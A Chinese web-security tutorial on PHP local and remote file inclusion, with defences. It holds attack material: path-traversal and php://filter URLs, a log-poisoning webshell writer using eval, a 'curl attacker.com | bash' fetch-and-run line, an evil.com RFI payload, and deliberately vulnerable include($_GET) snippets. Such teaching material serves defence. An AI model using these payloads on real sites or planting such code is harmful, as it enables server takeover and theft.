渗透测试之文件包含漏洞 超详细的文件包含漏洞文章
目录
说明
通常分为两种类型:
本地文件包含
典型的攻击方式1:
影响:
典型的攻击方式2:
包含路径解释:
日志包含漏洞:
操作原理
包含漏洞读取文件
文件包含漏洞远程代码执行漏洞:
远程文件包含
典型的攻击方式:
影响:
文件包含漏洞的根本原因
语言包含漏洞
PHP文件包含漏洞函数
文件包含漏洞相关的常见 PHP 函数
1. include() 和 require()
2. include_once() 和 require_once()
3. fopen() 和 fread()
4. file_get_contents()
5. readfile()
6. highlight_file()
7. fpassthru()
总结
防御措施
输入验证与过滤:
禁用远程文件包含:
使用绝对路径:
文件包含路径限制:
日志记录与监控:
代码审计与渗透测试:
总结

说明
文件包含漏洞(File Inclusion Vulnerability)是一种常见的Web安全漏洞,它允许攻击者通过修改文件路径,包含服务器上未经授权的文件,可能导致敏感信息泄露、代码执行或服务器被入侵。根据文件包含的行为
通常分为两种类型:
- 本地文件包含(LFI)
- 远程文件包含(RFI)
本地文件包含
- LFI 是指攻击者能够包含和执行服务器本地文件系统中的文件
攻击者通过修改程序中的文件路径参数,访问并读取本地文件(如配置文件、日志文件、甚至敏感的系统文件),有时也能执行恶意文件。
典型的攻击方式1:
- 攻击者通过修改 URL 参数来试图包含本地文件
- 例如:
http://example.com/index.php?page=../../../../etc/passwd
- 在这个例子中
攻击者试图通过“
../../../../etc/passwd”来访问服务器上的/etc/passwd文件(Unix/Linux 系统中的一个存储用户账户信息的文件)。
影响:
- 信息泄露:攻击者能够查看服务器上的敏感文件(如配置文件、日志文件、密码文件等)。
- 路径遍历攻击:攻击者可以通过构造特殊的路径,访问并查看不应公开的文件。
- 恶意文件执行:如果不当配置或存在缺陷,攻击者甚至可以包含可执行文件进行代码执行。
典型的攻击方式2:

- 用户输入控制: 应用程序允许用户通过URL参数或其他输入来指定文件路径。例如:
<?php
include($_GET['page']);
?>
这种代码会根据用户传入的page参数来包含文件。
包含路径解释:
-
绝对路径包含
-
相对路径包含
-
文件穿越漏洞
-
包含一些图片吗进行控制 包含敏感文件读取出来
-
远程文件包包含,另外一个网站 得文件,其它网站得文件包含进来。
-
直接引用别人得网站得图片 前提是看别人开启了相关参数没。
日志包含漏洞:
- 日志包含漏洞是指攻击者通过注入恶意内容到日志文件中,可能会破坏日志文件的完整性,或通过日志文件将恶意代码执行。
- 攻击者可以伪造日志,或在日志中插入恶意的HTTP头、SQL注入等攻击代码,进而进行进一步的攻击。
操作原理
当某个PHP文件存在本地包含漏洞,而却无法上传正常文件.
这就意味着有包含漏洞却不能拿来利用,这时攻击者就有可能会利用apache日志文件来入侵.
Apache服务器运行后会生成两个日志文件,这两个文件是access.log(访问日志)和error.log(错误日志)。
apache的日志文件记录下我们的操作,并且写到访问日志文件access.log之中
前提开启了日志记录功能 apache 其实还是需要指纹收集收到日志目录的位置
其实这种方式就是把木马直接写入到日志文件中.
在访问网站得时候 加入木马程序 也就是在访问程序得时候加入一句话木马相关程序 这样就会写入到程序中去了
蚁箭 冰蝎 连接程序 Winwos程序中都有一句话木马程序 连接
http://192.168.1.9/dvwa/vulnerabilities/fi/?page=../../../../Apache\logs\access.log 写入后再访问 就可以通过日志进行访问
1浏览器日志 记录可能会编译成url编码
2通过抓包 也就会变成正常得编码记录到日志 然后访问日志目录就可以进入文件包含漏洞进行入侵。
- 记录下php得一句话木马程序写法
- 写入一句话木马 通过蚁箭连接不上 换个方式写入php一句话木马
- <?php $file=fopen('jaden.php','w');fputs($file,'<?php @eval($_POST[666]);?>');?>
- 数据存在于存在与执行得目录中 jaden.php
- 问题: 我们在实际操作得时候 如何确定日志是空 如何找到对应日志目录 指纹收集

包含漏洞读取文件
读取php文件 包含就能读取:
-
采用得是file:///协议
-
读取php文件不想执行
-
Php:/// 读取文件 指定php协议来读取协议
-
http://192.168.1.9/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file4.php
-
以base64得数据格式进行读取出来
-
- 通过文件包含漏洞利用
file://伪协议读取文件是一种常见的攻击手段,特别是当Web应用程序允许通过用户输入指定文件路径时。- 攻击者可以利用这种方式绕过某些安全控制,从而读取本地文件(例如
/etc/passwd或其他敏感文件),或者执行路径遍历攻击来获取服务器上的敏感信息。- file:///etc/passwd
文件包含漏洞远程代码执行漏洞:
- 文件包含漏洞(File Inclusion Vulnerability)如果结合远程文件包含(Remote File Inclusion, RFI)和不当的配置或攻击者操控的输入
- 可能导致远程代码执行漏洞(Remote Code Execution, RCE)
- 在这种情况下,攻击者不仅能读取文件,还能执行恶意代码,导致严重的安全问题。
-
服务端存在包含漏洞
-
也就是通过include(php://input) 进行执行而不是用文件进行执行
-
执行得命令
-
Php://input 执行过程
<?php
system('curl -s http://attacker.com/malicious_script.sh | bash');
?>

远程文件包含
- RFI 是指攻击者能够通过包含远程的恶意文件来攻击网站
通常情况下,RFI 涉及到文件路径中包含 URL,允许攻击者从外部服务器加载并执行恶意脚本。
典型的攻击方式:
- 攻击者通过修改 URL 中的参数,将远程服务器上的恶意文件包含到服务器中:
http://example.com/index.php?page=http://evil.com/malicious_script.php
- 在这个例子中
- 攻击者试图加载并执行远程服务器上的
malicious_script.php文件- 可能执行恶意操作,比如执行反向 shell、窃取数据、或劫持服务器
- 比如说我们本地搭建了一个程序 编写了一个webshell,然后通过远程文件包含漏洞访问本地搭建的服务中的webshell文件,实现对肉鸡的控制。
影响:
- 远程代码执行:攻击者能够远程执行恶意代码,这可能导致服务器完全被控制。
- 网站篡改:攻击者可能通过上传恶意脚本,篡改网站内容或窃取用户信息。
- 数据泄露:攻击者可通过包含恶意文件窃取数据库连接信息或其他敏感数据。
文件包含漏洞的根本原因
- 用户输入未严格验证:文件路径参数或 URL 没有经过充分的验证和过滤,允许攻击者修改路径。
- 不当的文件处理逻辑:代码未对文件包含操作进行适当的权限控制或路径限制,导致攻击者能够访问和执行敏感文件。
- 缺乏安全配置:服务器未启用适当的配置,例如禁止远程文件包含(RFI),或没有禁用危险函数(如
include,require,fopen等)。
语言包含漏洞
-
包含操作,在大多数Web语言中都会提供的功能
-
但PHP对于包含文件所提供的功能太强大,太灵活,所以包含漏洞经常出现在PHP语言中,这也就导致了出现了一个错误现状
-
很多初学者认为包含漏洞只出现PHP任何语言都会存在文件包含的漏洞.
-
公共代码封装在专门的文件类中 也就是封装的一个概念 引入其它封装的条件
-
Import-python 也就是代码漏洞
-
针对不同的语言 比如说 go php java python 也就是对应相关的函数
PHP文件包含漏洞函数
- PHP 作为一种常用的 Web 编程语言,具有一些常用的函数,这些函数可以导致文件包含漏洞,尤其在没有进行严格的输入验证时。
文件包含漏洞相关的常见 PHP 函数
1. include() 和 require()
功能:
include()和require()用于将文件引入当前 PHP 文件并执行。include()在文件不可用时会发出警告(warning)- 而
require()会发出致命错误(fatal error)并停止执行。
安全隐患:
include($_GET['page']);
// 如果未进行过滤,攻击者可以传递恶意的文件路径,如 '../../etc/passwd'
如果传入的文件路径(参数)未经过严格验证,攻击者可能利用路径遍历(
../../)或者远程文件包含攻击,加载敏感文件或远程恶意文件。
2. include_once() 和 require_once()
功能:
- 与
include()和require()相同,但它们确保文件只会被包含一次,避免重复包含文件导致的错误。
安全隐患:
- 如果传入的文件路径不被验证,攻击者依然可以通过路径遍历或远程文件包含攻击来操控文件包含。
3. fopen() 和 fread()
功能:
fopen()打开文件,fread()读取文件内容,通常用于读取文本或二进制文件内容。
安全隐患:
$file = fopen($_GET['file'], "r"); // 如果未验证,攻击者可以操控路径读取文件
- 如果文件路径未经过验证,攻击者可以读取服务器上的敏感文件或恶意文件。
4. file_get_contents()
功能:
file_get_contents() 用于读取文件内容并将其作为字符串返回。
安全隐患:
$content = file_get_contents($_GET['file']);
如果参数为用户输入的文件路径或 URL,攻击者可以通过路径遍历或远程文件包含攻击来读取本地或远程恶意文件。
5. readfile()
功能:
readfile() 输出文件内容到浏览器,通常用于直接输出文件内容。
安全隐患:
readfile($_GET['file']);
攻击者可以通过路径遍历攻击或包含远程文件,输出敏感文件内容或恶意代码。
6. highlight_file()
功能:
highlight_file() 输出 PHP 源代码并对其进行语法高亮显示。
安全隐患:
highlight_file($_GET['file']);
如果没有限制或验证,攻击者可以通过该函数查看服务器上任意 PHP 文件的源代码,可能泄露敏感信息。
7. fpassthru()
功能:
fpassthru() 函数读取并直接输出文件的内容,通常与 fopen() 配合使用。
安全隐患:
$file = fopen($_GET['file'], "r");
fpassthru($file);
与
fread()和file_get_contents()类似,如果文件路径未被验证,攻击者可以利用该函数读取并输出敏感文件内容。
总结
PHP 中的文件包含函数(如 include()、require()、fopen() 等)是文件包含漏洞的核心来源,尤其在未严格验证用户输入时,容易导致路径遍历、远程文件包含(RFI)或本地文件包含(LFI)攻击。防御这种漏洞的关键是:
- 严格控制文件路径参数的来源和内容;
- 禁用不必要的功能(如远程文件包含);
- 采用绝对路径、白名单、权限控制等手段限制文件的访问范围。
防御措施
-
输入验证与过滤:
- 对所有用户输入的文件路径参数进行严格的过滤和验证,拒绝任何可能导致路径遍历(如
../)的输入。 - 使用白名单机制,限制只能包含特定目录下的文件。
- 对所有用户输入的文件路径参数进行严格的过滤和验证,拒绝任何可能导致路径遍历(如
-
禁用远程文件包含:
- 在 PHP 中,禁用
allow_url_include和allow_url_fopen,防止包含远程文件。 - 设置
open_basedir,限制 PHP 程序只能访问特定目录下的文件。
- 在 PHP 中,禁用
-
使用绝对路径:
- 避免使用用户提供的路径参数来构建文件路径。尽量使用固定的路径或基于配置的安全路径。
-
文件包含路径限制:
- 使用
basename()或类似的函数确保包含的文件不会遍历目录结构。 - 对于包含的文件,最好限定在特定的目录内,避免通过路径构造访问任意文件。
- 使用
-
日志记录与监控:
- 配置 Web 服务器和应用程序进行日志记录,监控异常的文件包含请求。
- 设置警报机制,及时发现潜在的文件包含攻击。
-
代码审计与渗透测试:
- 定期进行代码审计,检查可能存在文件包含漏洞的地方。
- 使用自动化工具进行渗透测试,模拟文件包含攻击,查找漏洞。
总结
文件包含漏洞是一个相对常见且危险的安全问题,尤其在动态网页系统中,由于代码没有对外部输入进行有效的验证,攻击者可以通过文件包含漏洞来执行恶意代码或泄露敏感数据。防御这种漏洞的关键在于对用户输入的严格验证、文件路径的严格控制以及远程文件包含的禁用。
喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。

相关文章:
渗透测试之文件包含漏洞 超详细的文件包含漏洞文章
目录 说明 通常分为两种类型: 本地文件包含 典型的攻击方式1: 影响: 典型的攻击方式2: 包含路径解释: 日志包含漏洞: 操作原理 包含漏洞读取文件 文件包含漏洞远程代码执行漏洞: 远程文件包含…...
机器学习8-卷积和卷积核1
机器学习8-卷积和卷积核1 卷积与图像去噪卷积的定义与性质定义性质卷积的原理卷积步骤卷积的示例与应用卷积的优缺点优点缺点 总结 高斯卷积核卷积核尺寸的设置依据任务类型考虑数据特性实验与调优 高斯函数标准差的设置依据平滑需求结合卷积核尺寸实际应用场景 总结 图像噪声与…...
Android --- handler详解
handler 理解 handler 是一套Android 消息传递机制,主要用于线程间通信。 tips: binder/socket 用于进程间通信。 参考: Android 进程间通信-CSDN博客 handler 就是主线程在起了一个子线程,子线程运行并生成message ,l…...
DeepSeek:全栈开发者视角下的AI革命者
目录 DeepSeek:全栈开发者视角下的AI革命者 写在前面 一、DeepSeek的诞生与定位 二、DeepSeek技术架构的颠覆性突破 1、解构算力霸权:从MoE架构到内存革命 2、多模态扩展的技术纵深 3、算法范式的升维重构 4、重构AI竞争规则 三、…...
Page Assist - 本地Deepseek模型 Web UI 的安装和使用
Page Assist Page Assist是一个开源的Chrome扩展程序,为本地AI模型提供一个直观的交互界面。通过它可以在任何网页上打开侧边栏或Web UI,与自己的AI模型进行对话,获取智能辅助。这种设计不仅方便了用户随时调用AI的能力,还保护了…...
Spring Boot篇
为什么要用Spring Boot Spring Boot 优点非常多,如: 独立运行 Spring Boot 而且内嵌了各种 servlet 容器,Tomcat、Jetty 等,现在不再需要打成 war 包部署到 容器 中,Spring Boot 只要打成一个可执行的 jar 包就能独…...
基于SpringBoot的在线远程考试系统的设计与实现(源码+SQL脚本+LW+部署讲解等)
专注于大学生项目实战开发,讲解,毕业答疑辅导,欢迎高校老师/同行前辈交流合作✌。 技术范围:SpringBoot、Vue、SSM、HLMT、小程序、Jsp、PHP、Nodejs、Python、爬虫、数据可视化、安卓app、大数据、物联网、机器学习等设计与开发。 主要内容:…...
Oh3.2项目升级到Oh5.0(鸿蒙Next)具体踩坑记录(一)
目录 1.自动修复部分 Cause: The project structure and configuration require an upgrade. Solution: 1. Use Migrate Assistant to auto-upgrade the project structure and configuration. 2. Manually upgrade the project structure and configuration by following th…...
python实现多路视频,多窗口播放功能
系列Python开发 文章目录 系列Python开发前言一、python实现多路视频播放功能二、代码实现1. http申请视频流地址并cv2播放功能 三、打包代码实现生成可执行文件 总结 前言 一、python实现多路视频播放功能 服务端开发后通常需要做功能测试、性能测试,通常postman、…...
Java设计模式:行为型模式→责任链模式
Java 责任链模式详解 1. 定义 责任链模式(Chain of Responsibility Pattern)是一种行为型设计模式,它使多个对象都有机会处理请求,而不是由一个对象去处理这个请求。这种模式以链表的形式将多个处理对象串联起来,并通…...
2025年02月05日Github流行趋势
项目名称:OCRmyPDF 项目地址url:https://github.com/ocrmypdf/OCRmyPDF项目语言:Python历史star数:15872今日star数:157项目维护者:jbarlow83, fritz-hh, apps/dependabot, mawi12345, mara004项目简介&…...
关于大数据
在大数据背景下存在的问题: 非结构化、半结构化数据:NoSQL数据库只负责存储;程序处理时涉及到数据移动,速度慢 是否存在一套整体解决方案? 可以存储并处理海量结构化、半结构化、非结构化数据 处理海量数据的速…...
离散浣熊优化算法(DCOA)求解大规模旅行商问题(Large-Scale Traveling Salesman Problem,LTSP),MATLAB代码
大规模旅行商问题(Large-Scale Traveling Salesman Problem,LTSP)是经典旅行商问题(TSP)在规模上的扩展,是一个具有重要理论和实际意义的组合优化问题: 一、问题定义 给定一组城市和它们之间的…...
Page Assist实现deepseek离线部署的在线搜索功能
前面文章Mac 基于Ollama 本地部署DeepSeek离线模型 实现了deepseek的离线部署,但是部署完成虽然可以进行问答和交互,也有thinking过程,但是没办法像官方一样进行联网搜索。今天我们介绍一款浏览器插件Page Assist来实现联网搜索,完…...
win10系统安装和部署DeepSeek以及python实现
DeepSeek之python实现API应用 1、下载和安装 https://github.com/ollama/ollama/releases/latest/download/OllamaSetup.exe 傻瓜式安装 2、测试安装成功 ollama -v3、拉取模型 选择模型版本:1.5B 版本适合配置一般、想尝鲜、轻度使用的用户;8B 版本适合 16GB 内存以上…...
堆(Heap)的原理与C++实现
1. 什么是堆? 堆(Heap)是一种特殊的树形数据结构,通常用于实现优先队列。堆可以分为两种类型: 最大堆(Max Heap):每个节点的值都大于或等于其子节点的值。最小堆(Min H…...
C++六大默认成员函数
C六大默认成员函数 默认构造函数默认析构函数RAII技术RAII的核心思想优点示例应用场景 默认拷贝构造深拷贝和浅拷贝 默认拷贝赋值运算符移动构造函数(C11起)默认移动赋值运算符(C11起)取地址及const取地址操作符重载取地址操作符重…...
3D图形学与可视化大屏:什么是片段着色器,有什么作用。
一、片段着色器的概念 在 3D 图形学中,片段着色器(Fragment Shader)是一种在图形渲染管线中负责处理片段(像素)的程序。它的主要任务是确定每个像素的颜色和其他属性,如透明度、深度等。片段着色器是可编程…...
畅游Diffusion数字人(15):详细解读字节跳动最新论文——音频+姿态控制人类视频生成OmniHuman-1
Diffusion models代码解读:入门与实战 前言:昨晚字节跳动刚发布了一篇音频+姿态控制人类视频生成OmniHuman-1的论文,效果非常炸裂,并且是基于最新的MM-DiT架构,今天博主详细解读一下这一技术。 目录 贡献概述 方法详解 音频条件注入 Pose条件注入 参考图片条件注入 …...
人类心智逆向工程:AGI的认知科学基础
文章目录 引言:为何需要逆向工程人类心智?一、逆向工程的定义与目标1.1 什么是逆向工程?1.2 AGI逆向工程的核心目标二、认知科学的四大支柱与AGI2.1 神经科学:大脑的硬件解剖2.2 心理学:心智的行为建模2.3 语言学:符号与意义的桥梁2.4 哲学:意识与自我模型的争议三、逆向…...
实现动态卡通笑脸的着色器实现
大家好!我是 [数擎 AI],一位热爱探索新技术的前端开发者,在这里分享前端和 Web3D、AI 技术的干货与实战经验。如果你对技术有热情,欢迎关注我的文章,我们一起成长、进步! 开发领域:前端开发 | A…...
低代码系统-产品架构案例介绍、蓝凌(十三)
蓝凌低代码系统,依旧是从下到上,从左至右的顺序。 技术平台h/iPaas 指低层使用了哪些技术,例如:微服务架构,MySql数据库。个人认为,如果是市场的主流,就没必要赘述了。 新一代门户 门户设计器&a…...
Autosar-以太网是怎么运行的?(Davinci配置部分)
写在前面: 入行一段时间了,基于个人理解整理一些东西,如有错误,欢迎各位大佬评论区指正!!! 目录 1.Autosar ETH通讯软件架构 2.Ethernet MCAL配置 2.1配置对应Pin属性 2.2配置TXD引脚 2.3配…...
洛谷网站: P3029 [USACO11NOV] Cow Lineup S 题解
题目传送门: P3029 [USACO11NOV] Cow Lineup S - 洛谷 | 计算机科学教育新生态 (luogu.com.cn) 前言: 这道题的核心问题是在一条直线上分布着不同品种的牛,要找出一个连续区间,使得这个区间内包含所有不同品种的牛,…...
Centos 8 离线升级openssh 9.9
背景 根据云服务漏检报告,需要升级云服务器openssh服务(离线环境)。本文将采用rpm包形式,将openssh服务由OpenSSH_8.0p1 升级至OpenSSH_9.9p1。准备一台能够联网的服务器(简称server1)用于下载程序包&#…...
C++多线程编程——call_once和单例模式
目录 1. 前言 2. call_once和once_flag 3. 后记 3.1 单例类的析构问题 3.2 饿汉式单例模式的线程安全问题 1. 前言 之前在讲解单例模式时,有提到懒汉式单例模式使用了双重检测Double-Checked Locking Pattern (DCLP)来解决多线程的安全访问问题。但是该方法也…...
Java程序员 面试如何介绍项目经验?
项目经历是面试过程中重点问的,但是很多人在回答的时候往往会有问题: 重点是介绍项目,而忽略了个人的经历。 经历是你做了什么、你怎么做的、做完后的结果。例如:项目中的哪些部分是你做的?你是不是核心人员…...
STM32 ADC模数转换器
ADC简介 ADC(Analog-Digital Converter)模拟-数字转换器 ADC可以将引脚上连续变化的模拟电压转换为内存中存储的数字变量,建立模拟电路到数字电路的桥梁 12位逐次逼近型ADC,1us转换时间 输入电压范围:0~3.3V࿰…...
结合深度学习、自然语言处理(NLP)与多准则决策的三阶段技术框架,旨在实现从消费者情感分析到个性化决策
针对电商个性化推荐场景的集成机器学习和稳健优化三阶段方案。 第一阶段:在线评论数据处理,利用深度学习和自然语言处理技术进行特征挖掘,进而进行消费者情感分析,得到消费者偏好 在第一阶段,我们主要关注如何通过深度学习和自然语…...
机器学习8-卷积和卷积核
机器学习7-卷积和卷积核 卷积与图像去噪卷积的定义与性质定义性质卷积的原理卷积步骤卷积的示例与应用卷积的优缺点优点缺点 总结 高斯卷积核卷积核尺寸的设置依据任务类型考虑数据特性实验与调优 高斯函数标准差的设置依据平滑需求结合卷积核尺寸实际应用场景 总结 图像噪声与…...

